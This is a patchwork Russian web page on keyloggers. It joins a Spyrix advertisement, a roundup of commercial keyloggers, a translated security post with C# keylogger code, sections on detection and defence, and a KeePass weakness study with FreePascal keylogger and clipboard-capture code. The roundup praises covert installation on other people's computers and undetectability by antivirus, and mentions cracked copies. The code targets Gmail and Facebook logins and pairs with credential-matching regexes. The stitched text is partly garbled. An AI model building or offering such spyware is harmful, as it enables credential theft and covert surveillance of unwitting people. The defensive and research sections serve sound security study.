Клавиатурный перехватчик. Нужен клавиатурный шпион? Слабые места KeePass и их устранение

Для чего нужны кейлоггеры (клавиатурные шпионы):
1. Контроль детей и близких людей
Spyrix Keylogger Free позволяет вести контроль использования компьютера вашими детьми. Вы защитите Ваших детей от нежелательной информации в сети Интернет (секс, наркотики, суицид, азартные игры и др.) и оградите от контактов с опасными людьми.
2. Контроль сотрудников и защита от утечек информации.
Spyrix Keylogger Free может использоваться для мониторинга переписки сотрудников на рабочих компьютерах и контроля использования рабочего времени.
Spyrix Keylogger Free основные возможности:

  • НОВОЕ! Удаленный мониторинг через защищенный веб-аккаунт Достаточно один раз получить доступ к компьютеру, за которым необходимо наблюдать, и установить там программу Spyrix Keylogger Free. В дальнейшем вы сможете просматривать собираемую информацию через веб аккаунт из любого места, где есть Интернет и любого устройства(компьютер, ноутбук, планшет или смартфон).
  • Кейлоггер (клавиатурный шпион) Запись в лог файл информации о нажатых клавишах клавиатуры (сохраняет даже удаленные символы)
  • 100% не обнаруживается антивирусными программами Антивирусы и антишпионские приложения часто обнаруживает и блокирует многие из подобных приложений. Spyrix Keylogger Free прекрасно скрыт от антивирусных программ, анти-руткитов и анти-шпионского программного обеспечения.
  • Удаленная деинсталляция Вы можете удалить Spyrix Keylogger Free на нужном компьютере удаленно — через веб-аккаунт.
  • Отслеживание приложений Просмотр всех запущенных приложений, включая игры
  • Снимки экрана (скриншоты) Создание скриншотов значительно расширяет возможности мониторинга компьютера и позволяет получить снимки окон любых приложений(включая ICQ, SKYPE и т.д.) и веб-сайтов (например, vkontakte, одноклассники)
  • Активность пользователей Spyrix Keylogger Free будет записывать время активности и неактивности использования компьютера
  • Контроль съемных дисков (USB, HDD, SD)
  • Контроль принтера

Spyrix Keylogger Free — является самым мощным бесплатным кейлоггером из представленных на рынке. Spyrix Keylogger Free — единственный по настоящему бесплатный кейлоггер, предоставляющий функцию удаленного мониторинга.

Главное окно:

Защищенный веб-аккаунт:


Мастер настроек:

Различные шпионские программы бывают необходимы в условиях, когда к одному компьютеру имеют доступ много людей.

В этих условиях пользователь может захотеть узнать, какие сайты посещались с его компьютера (например, детьми), не происходило ли воровство с кредитных карт с помощью сохраненных паролей и т. д. для прояснения этих вопросов и потребуется .

Наш обзор позволит вам сделать оптимальный выбор.

Особенности выбора

Что же такое по своей сути клавиатурный шпион? Это программа, которая, строго говоря, напрямую никак не связана с клавиатурой.

Она устанавливается в память компьютера и действует на . Часто признаков ее деятельности не видно на компьютере, если не искать их целенаправленно.

Такая программа косвенно взаимодействует с клавиатурой, то есть работает с программой на ПК, которая преобразует сигналы, поступающие на процессор в результате нажатия кнопок, в текст при печати.

То есть, направлено действие такого софта на сбор информации, вводимой через клавиатуру.

Такие утилиты бывают разного типа – с помощью некоторых можно просмотреть весь набранный с клавиатуры текст, с помощью других – только тот, что был набран в браузере или в каком либо выбранном приложении.

Некоторые программы предоставляют возможность настройки таких показателей, другие нет.

Также они отличаются друг от друга по степени скрытности. Например, деятельность одних очевидна, на Рабочем столе остается ярлык и т. д., такие программы подойдут для контроля деятельности, например, детей.

Следы присутствия и деятельности других не заметны вовсе – они действуют скрыто и подойдут для установки на чужой компьютер, когда факт установки необходимо скрыть от стороннего пользователя.

Учитывая такое разнообразие, выбрать максимально подходящий софт может быть достаточно сложно.

В данном материале представлен ТОП лучших программ, которые можно использовать для этой цели. Среди них проще выбрать подходящую.

Технические характеристики

Для упрощения процесса выбора программного обеспечения в таблице, размещенной ниже, приведены основные сравнительные характеристики всех программ, включенных в ТОП.

Название Тип лицензии Тип собираемой информации Функционал Дизайн
SC-KeyLog Бесплатно Вся Широкий Упрощенный
WideStep Handy Keylogger Бесплатно/Платно Вся Широкий Улучшенный
Actual Spy Платно Вся Очень широкий Стандартный
EliteKeylogger Платно Вся Широкий Стандартный
The Rat! Бесплатно/Платно Меньше, чем в предыдущих Довольно широкий Неэстетичный
SPYGO Бесплатно В зависимости от версии В зависимости от версии Стандартное оформление Windows
Ardamax Keylogger 2.9 Бесплатно С клавиатуры Суженный Упрощенный
NS Keylogger Personal Monitor 3.8 Бесплатно Вся Суженный Упрощенный
KGB Spy Платно С клавиатуры+ открытые программы Узкий Простой
Golden Keylogger 1.32 Бесплатно С клавиатуры Очень узкий Простой

Основываясь на характеристиках из этой таблицы легко выбрать максимально подходящую под конкретные требования программу.

Подробнее об этих утилитах же рассказано ниже.

SC-KeyLog

Это объемная и функциональная программа шпион, которая распространяется бесплатно.

Помимо отслеживания конкретно информации вводимой с клавиатуры, в состоянии также собирать , адресах посещенных сайтов, паролях, открытых окнах в браузере.

Дает полную информацию обо всех действиях, производимых на компьютере. При этом формируемый файл можно просмотреть удаленно с другого устройства.

  • Возможность удаленного доступа к файлу с другого устройства;
  • Отсутствие следов деятельности программы на компьютере при правильных настройках;
  • Разнообразие собираемых данных – практически информация обо всех действиях на ПК может быть доступна.
  • Сохраняет пароли только не выше NT0;
  • Слишком простое меню и неэстетичный дизайн;
  • Достаточно неудобный формат отображения результата.

А что же говорят пользователи, которые активно применяют этот софт? «Абсолютна незаметна для пользователя», «Данные исправно приходят на почту».

WideStep Handy Keylogger

Это приложение распространяется условно бесплатно. Цена полной платной версии составляет 35 долларов.

Довольно интересная и функциональная программа, которая стоит своих денег, если вы готовы их заплатить.

Отличительная черта – способность отправлять записанные данные на с указанной периодичностью. В остальном работает нормально, часто, стабильнее других программ из этого списка.

  • Сбор информации различных типов;
  • Полная невидимость работы на компьютере пользователя;
  • Простой интерфейс и управление.
  • Дизайн лучше, чем в предыдущей программе, но все равно не на высоте;
  • Формат отображения результата неудобный;
  • Платная версия стоит достаточно дорого.

Мнения юзеров об этом софте таковы: «Удобная, простая и функциональная программа. Довольно незаметна при работе».

Actual Spy

Это функциональная и сложная платная программа стоимостью 600 рублей. Однако она имеет демонстрационную версию, распространяющуюся бесплатно.

Особенность этого софта – способность в заданный период времени.

Это помогает решить проблему ввода графического пароля/ключа, которые в последнее время стали широкого распространяться.

  • Множество типов собираемой информации плюс возможность делать скриншоты с экрана в указанный период;
  • Большое количество других дополнительных функций и особенностей;
  • Записывает не только действия, но и время их выполнения;
  • Шифрует сформированный журнал.
  • Длительность работы (сбора информации) в бесплатной демонстрационной версии составляет 40 минут;
  • Платное распространение, хотя и более или менее приемлемая цена;
  • Достаточно большой вес программы.

Отзывы пользователей о данном приложении таковы: «Программа отличная. Молодцы программисты!».

EliteKeylogger

Платная программа с достаточно высокой ценой – 69 долларов. Действует на ПК полностью незаметно в режиме низкого уровня, потому почти полностью не поддается обнаружению.

Интересная и удобная особенность автоматический запуск софта, происходящий одновременно с запуском самой системы.

Сложно обнаруживается или вовсе не обнаруживается даже специальными антикейлогерами.

  • Полностью срытое действие и сложность в обнаружении;
  • Формат работы типа низкоуровневого драйвера и автоматический запуск при загрузке системы;
  • Отслеживает также и нажатия не только основных, но и служебных клавиш на клавиатуре.
  • Достаточно сложная система установки программы на ПК;
  • Высокая стоимость программы, но в российском интернете можно найти старую взломанную версию;
  • Довольно сложная система индивидуальных настроек программы, которая, впрочем, оправдывает себя.

Что же говорят юзеры об этом софте? «Хорошая программа», «Немного не дотягивает до Jetlogger».

The Rat!

Довольно распространенная и популярная, функциональная утилита с платной лицензией.

Однако для частного использования предоставляется бесплатная демонстрационная версия ч ограниченным периодом действия.

Программа очень простая – написать такую же может любой продвинутый пользователь. Тем не менее, она полностью неуловима для антивирусов и специальных программ, обнаруживающих подобный софт.

  • Простота, функциональность и высокая стабильность работы;
  • Минимальный вес файла и место, занимаемое им на компьютере;
  • Достаточно много настроек.
  • Довольно неприятный дизайн, выполненный в черном, белом и красном цветах;
  • Функционал несколько уже, чем в программах, описанных до этого;
  • Неудобный просмотр журнала и вообще неудобный интерфейс и использование.

Пользователи говорят о данной программе следующее: «Работает стабильно, но простовата», «Программа хорошая, позволяет собирать данные незаметно».

SPYGO

Это принципиально новый кейлогер, предназначенный для работы на и разработанный российским программистом.

Хакерский мир можно условно разделить на три группы атакующих:


1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.


2) «Byuers» - не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.


3) «Black Hat Сoders» - гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.


Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.


Зачем ИБ-персоналу эти сомнительные навыки?


Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.


Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.


Кейлогер


Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.


Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.



Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:


1. 2. 3. public static extern int GetAsyncKeyState(Int32 i);

Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN :


Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:


1. while (true) 2. { 3. Thread.Sleep(100); 4. for (Int32 i = 0; i < 255; i++) 5. { 6. int state = GetAsyncKeyState(i); 7. if (state == 1 || state == -32767) 8. { 9. Console.WriteLine((Keys)i); 10. 11. } 12. } 13. }

Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.


Умный кейлогер

Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.


Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.


Вторая версия кода:


1. while (true) 2. { 3. IntPtr handle = GetForegroundWindow(); 4. if (GetWindowText(handle, buff, chars) > 0) 5. { 6. string line = buff.ToString(); 7. if (line.Contains("Gmail")|| line.Contains("Facebook - Log In or Sign Up ")) 8. { 9. //проверка клавиатуры 10. } 11. } 12. Thread.Sleep(100); 13. }

Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.


Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.


Еще более умный кейлогер


Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.


Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:


1. //Ищем почтовый адрес 2. ^[\w!#$%&"*+\-/=?\^_`{|}~]+(\.[\w!#$%&"*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+{2,4})|(({1,3}\.){3}{1,3}))$ 3. 4. 5. //Ищем пароль 6. (?=^.{6,}$)(?=.*\d)(?=.*)

Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.


Для C# это выглядит так:


1. Regex re = new Regex(@"^[\w!#$%&"*+\-/=?\^_`{|}~]+(\.[\w!#$%&"*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+{2,4})|(({1,3}\.){3}{1,3}))$"); 2. Regex re2 = new Regex(@"(?=^.{6,}$)(?=.*\d)(?=.*)"); 3. string email = "[email protected]"; 4. string pass = "abcde3FG"; 5. Match result = re.Match(email); 6. Match result2 = re2.Match(pass);

Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.


Бесплатно и полностью не обнаружим


В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.


Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?


Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.



В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.


Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов , чтобы выявить потенциально вредоносные действия.


В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.

Как искать клавиатурных шпионов

Как бы хитры не были кейлоггеры, но и их можно обнаружить. Существует несколько способов.

  • Поиск по сигнатурам

Этот метод позволяет точно определить наличие клавиатурных шпионов, правильный выбор сигнатур может свести вероятность ошибки к нулю. Но сигнатурный сканер способен обнаруживать уже известные и описанные в его БД объекты, поэтому это требует, чтобы база большой и постоянно обновлялась.


  • Эвристические алгоритмы

Данный способ находит кейллогер по его характерным особенностям и позволяет обнаруживать стандартные клавиатурные ловушки. Как показывают исследования показали, сотни безопасных программ, не являющихся клавиатурными шпионами, устанавливают ловушки для слежения за мышью и вводом с клавиатуры. Например, известная программа Punto Switcher, ПО от мультимедийных клавиатур и мышей.

  • Мониторинг API-функций, который используют шпионы

Способ основан на перехвате ряда функций, применяемых клавиатурными шпионами, таких, как SetWindowsHookEx, UnhookWindowsHookEx, GetAsyncKeyState, GetKeyboardState.

Отслеживание драйверов, процессов, сервисов, используемых системой

Способ годится не только для отслеживания кейлоггеров. Самый простой вариант использования - применение программы типа Kaspersky Inspector, отслеживающей появление в системе новых файлов.

Как защититься от кейлоггеров

Зачастую, известные кейлоггеры уже добавлены в базу данных , и поэтому методика защиты такая же, как от любого вредоносного софта:

  • Установка антивирусного продукта;
  • Поддержка актуальной базы данных.

Стоит заметить, большинство антивирусных программ относит кейлоггеры к классу потенциально опасного ПО, и тут необходимо уточниться, что в настройках по умолчанию антивирусный продукт детектирует наличие подобного рода программ. Если нет, то стоит произвести настройки вручную, чтобы защититься от большинства распространенных шпионов.

Вообще, так как кейлогееры нацелены на шпионаж за конфиденциальными данными, то следует прибегнуть к следующим способам безопасности:

Использование одноразовых паролей/двухфакторная аутентификация

Использование систем проактивной защиты , позволяющей предупреждать пользователя об установке /активизации программыхкейлоггеров

Использование виртуальной клавиатуры , представляющей клавиатуру на экране в виде изображения, позволяет защититься и от программных, и от аппаратных шпионов.

Поиск и удаление клавиатурных шпионов

Какими же способами защититься от этой нечистой силы?

  • Любая антивирусная программа
  • Утилиты с механизмами сигнатурного и эвристического поиска (например, AVZ).
  • Утилиты и программы, направленные на обнаружение клавиатурных шпионов и блокировку их работы. Такой способ защиты наиболее эффективен, так как данное ПО блокирует,какправило, практически все виды кейлоггеров.

Стоит отметить, что софт, направленный на отлов клавиатурных шпионов, имеет две особенности: программное обеспечение такого рода по большей части платное и редко присутствует русский язык.

К примеру, англоязычный бесплатный софт Advanced Spyware Remover - избавляет от рекламных программ, звонильщиков, программ-шпионов, кейлоггеров, и т.д.

Установка стандартная, следует нажимать «Далее», ошибиться сложно. После установки предлагается запустить программу. Для сканирования жмем «Scan Now».

Правда, стоит заметить, что программа не обновлялась 3 года.

А вообще, данныя программа проводит проверку системного реестра на наличие в нем ключей вредоносных программ. Утилита имеет некоторые функциональные возможности, тем самым позволяя отображать список загружаемых программ при старте операционной системы (“HiJack Scan→Startup“), выводить список сервисов, показывать активные порты, просмотривать “куки” Internet Explorer и др. После сканирования появится подобное окно:

Если обратить внимание на что-то посвежее, то можно воспользоваться Spyware Terminator 2012 (правда, небезвозмездно). Утилита способна обнаружить и удалить почти все виды вредоносного ПО. Встроенная система безопасности активирует защиту приложений и системы, мониторит утилиты, непосредственно взаимодействующие с сетью.

и многое другое. Anti-keylogger не использует сигнатурные базы, так как базируется только на эвристических алгоритмах. Anti-keylogger способна защитить от целенаправленных атак, которые весьма опасны и популярны у киберпреступников. Особенно эффективно в борьбе с клавиатурными шпионами, основанными на применении ловушек, циклического опроса и клавиатурного драйвера-фильтра.

Anti-keylogger имеет бесплатный вариант, ограниченный временем использования – 10 рабочих сессий, каждая по 2 часа, что вполне достаточно для проверки ПК за один раз.

Итак, что же имеем:

  1. Кейлоггеры позиционируются как легальное ПО, но многие из могут быть использованы для кражи персональной информации пользователей.
  2. Сегодня кейлоггеры, вместе с фишингом и и т.п., стали одним из основных методов электронного мошенничества.
  3. Отмечается рост числа вредоносных программ с функциональностью кейлоггеров.
  4. Распространение программных кейлоггеров на основе rootkit-технологий, что делает их невидимыми для пользователя и антивирусных сканеров.
  5. Для обнаружения факта шпионажа с помощью клавиатурных шпионов требуется использование специализированных средств защиты.
  6. Необходимость в многоуровневой защите (антивирусные продукты с функцией детектирования опасного ПО, средства проактивной защиты, виртуальная клавиатура).

Оставьте свой комментарий!

Для проверки безопасности вводимых паролей через KeePass я решил написать простейший кейлоггер с дополнительным захватом данных из буфера обмена. Весь код занял несколько строчек на FreePascal.

Пароли, без дополнительных мер защиты и правильной настройки KeePass, как оказалось, достаточно уязвимы.

Код кейлоггера помещен в цикл Timer, который обновляется каждые 10 ms. Используются модули: Windows и ClipBrd.

//Сравниваем текущие состояние клавиш for f:= 0 to 255 do if a[f] <> GetAsyncKeyState(f) then begin //Реакция на отжатие клавиши if KeePass.Checked and (GetAsyncKeyState(f) = 0) then Memo1.Caption:= Memo1.Caption + chr(f); //Реакция на нажатие клавиши if not KeePass.Checked and (GetAsyncKeyState(f) <> 0) then Memo1.Caption:= Memo1.Caption + chr(f); end; //Сохраняем в массив текущее состояние клавиш for f:= 0 to 255 do a[f] := GetAsyncKeyState(f); //Запись при изменении в буфере обмена if s <> Clipboard.AsText then begin s:= Clipboard.AsText; Memo2.Caption:= Memo2.Caption + s + " "; end;
Программа Simple Logger выглядит так:

В окне -Keyboard- выводятся клавиши без учета регистра и языка ввода. Отображается символ, номер которого равен коду клавиши: chr(f). Можно доработать программу для корректного отображения всех символов, но это не требуется для настоящего исследования.

В окно -Clipboard- происходит копирование при изменении содержимого буфера.

Слабые места KeePass и их устранение

1. Ввод основного пароля

По умолчанию основной пароль в KeePass вводится без защищенного режима, поэтому он легко определяется в Simple Logger. Это самое критичное место в безопасности, т.к. здесь мы получаем доступ сразу ко всей базе паролей.

Для устранения проблемы необходимо включить настройку Безопасности «Вводить основной пароль в защищенном режиме (подобно UAC в Windows Vista и выше)». Этот режим не позволяет логгеру получить доступ к клавиатуре. Кроме того, в нем невозможно сделать скриншот для определения расположения Ключевого файла.

Данный режим включается только при вводе основного пароля. О защите остальных паролей будет идти речь дальше.

2. Буфер обмена

Simple Logger реагирует на изменение буфера обмена с частотой 100 раз в секунду. Таким образом, попадание пароля в буфер и его последующее удаление через несколько секунд не дает защиты в данном случае.

Для устранения этой проблемы можно использовать Автонабор.

3. Автонабор

Реакция на автонабор KeePass происходит на отжимание клавиши, а не нажатие. Это позволяет получить защиту от некоторых кейлоггеров. Для обхода этого в Simple Logger есть дополнительная настройка: «KeePass Auto-Type». Если она включена, то логгер срабатывает на отжимание клавиши.

При автонаборе через KeePass: MyLoginName LongPassword123

В Simple Logger появится запись:

Simple Logger ни как не учитывает сочетания клавиш. Как видите, клавиша Shift отобразилась в виде спецсимвола (похожего на «+») и «?». Shift отпускается как до, так и после заглавной буквы. Тем не менее, этого достаточно, чтобы понять пароль.

Для решения этой проблемы можно использовать настройку в KeePass «Двойное усложнение автонабора». В этом случае KeePass будет вводить часть пароля с клавиатуры, а часть через буфер обмена, перемешивая значения. Это позволяет обойти некоторые кейлоггеры.

Simple Logger на Двойное усложнение автонабора отреагирует следующим образом:

  • Вставка из буфера обмена «Ctrl + V» отобразилась как «V◄?»;
  • Стрелка влево – «%» (код клавиши и символ #37);
  • Стрелка вправо – «"» (код клавиши и символ #39).
Можно написать небольшой алгоритм и восстановить правильный пароль, используя данные из обоих окон. Эта настройка усложняет работу кейлоггера, но не гарантирует защиты – при желании пароль легко восстанавливается.

От кейлоггера, который «заточен» под KeePass, могут помочь дополнительные средства защиты.

4. Дополнительные средства защиты

В некоторых программных комплексах есть такие возможности как:
  • Защита ввода данных с аппаратной клавиатуры;
  • Защищённый браузер.
При включении защиты ввода данных с аппаратной клавиатуры Simple Logger уже не может получить данные при автонаборе KeePass, если они вводятся в браузере в форму для пароля. В этом случае слабым местом будет работа через буфер обмена.

При использовании защищенного браузера получить доступ к буферу обмена и клавиатуре средствами Simple Logger не удалось. Кроме того, не было возможности делать скриншоты.

Вместо заключения

Посмотрев, как наши сотрудники используют KeePass, я обнаружил, что некоторые:
  • не используют UAC;
  • не используют автонабор, просто копируя пароли через буфер;
  • оставляют программу открытой, уходя с рабочего места;
  • используют настройки по умолчанию, не настраивая политику безопасности.
Я менеджер в небольшой фирме, немного увлекаюсь программированием. Я не являюсь техническим специалистом или экспертом в области безопасности, поэтому буду рад, если более опытные специалисты укажут на недочеты моего небольшого исследования.

Я тестировал последнюю версию KeePass 2.36 в среде Windows 8.1. Справедливости ради надо отметить, что данная проблема не является только проблемой KeePass. Есть множество других хранителей паролей с большей или меньшей степенью надежности, но это тема уже другого исследования.

Ссылки

  1. Simple Logger на GitHub
    //Кому не страшно, в архиве «SimpleLogger_for_Win64.7z» можно найти exe-шник. Программа не позволяет вести полноценный кейлоггинг, предназначена для исследования безопасности и ознакомительных целей.
UPD (27.07.2017)

Плагин для браузера

Как заметил пользователь dartraiden , можно использовать модуль KeePassHttp совместно с дополнением для браузера PassIFox или ChromeIPass . Этот плагин (по заявлению разработчика) обеспечивает безопасное экспонирование записей KeePass через HTTP.

Данная связка позволяет автоматически заполнять логин и пароль в браузере, когда KeePass разблокирован. Simple Logger ни как не реагирует в данном случае.

Слабым местом ChromeIPass является генерация нового пароля, т.к. он копируется через буфер обмена и виден на экране. В этом случае, лучше генерировать новый пароль в самом KeePass.

Создание нового мастер пароля

Как заметил arthur_veber :
При замене мастер пароля, а так же при создании нового, не применяется безопасный режим.

В этом случае Simple Logger перехватывает вводимый в KeePass мастер пароль.

Не помогает и виртуальная экранная клавиатура от известного производителя, которая, как и автонабор KeePass, работает по событию на отжимание клавиши.

Советы здесь давать трудно. Наверное, нужно обратить внимание разработчиков на эту проблему.

Другие средства атаки

Как первым заметил пользователь qw1 , если система, на которой установлен KeePass, скомпрометирована, то могут использоваться друге средства атаки, помимо кейлоггера. В этом случае перечень действий по противодействию атаке будет зависеть от конкретной ситуации.

К сожалению, невозможно осветить в одной статье все меры защиты, которые необходимы для хранения паролей.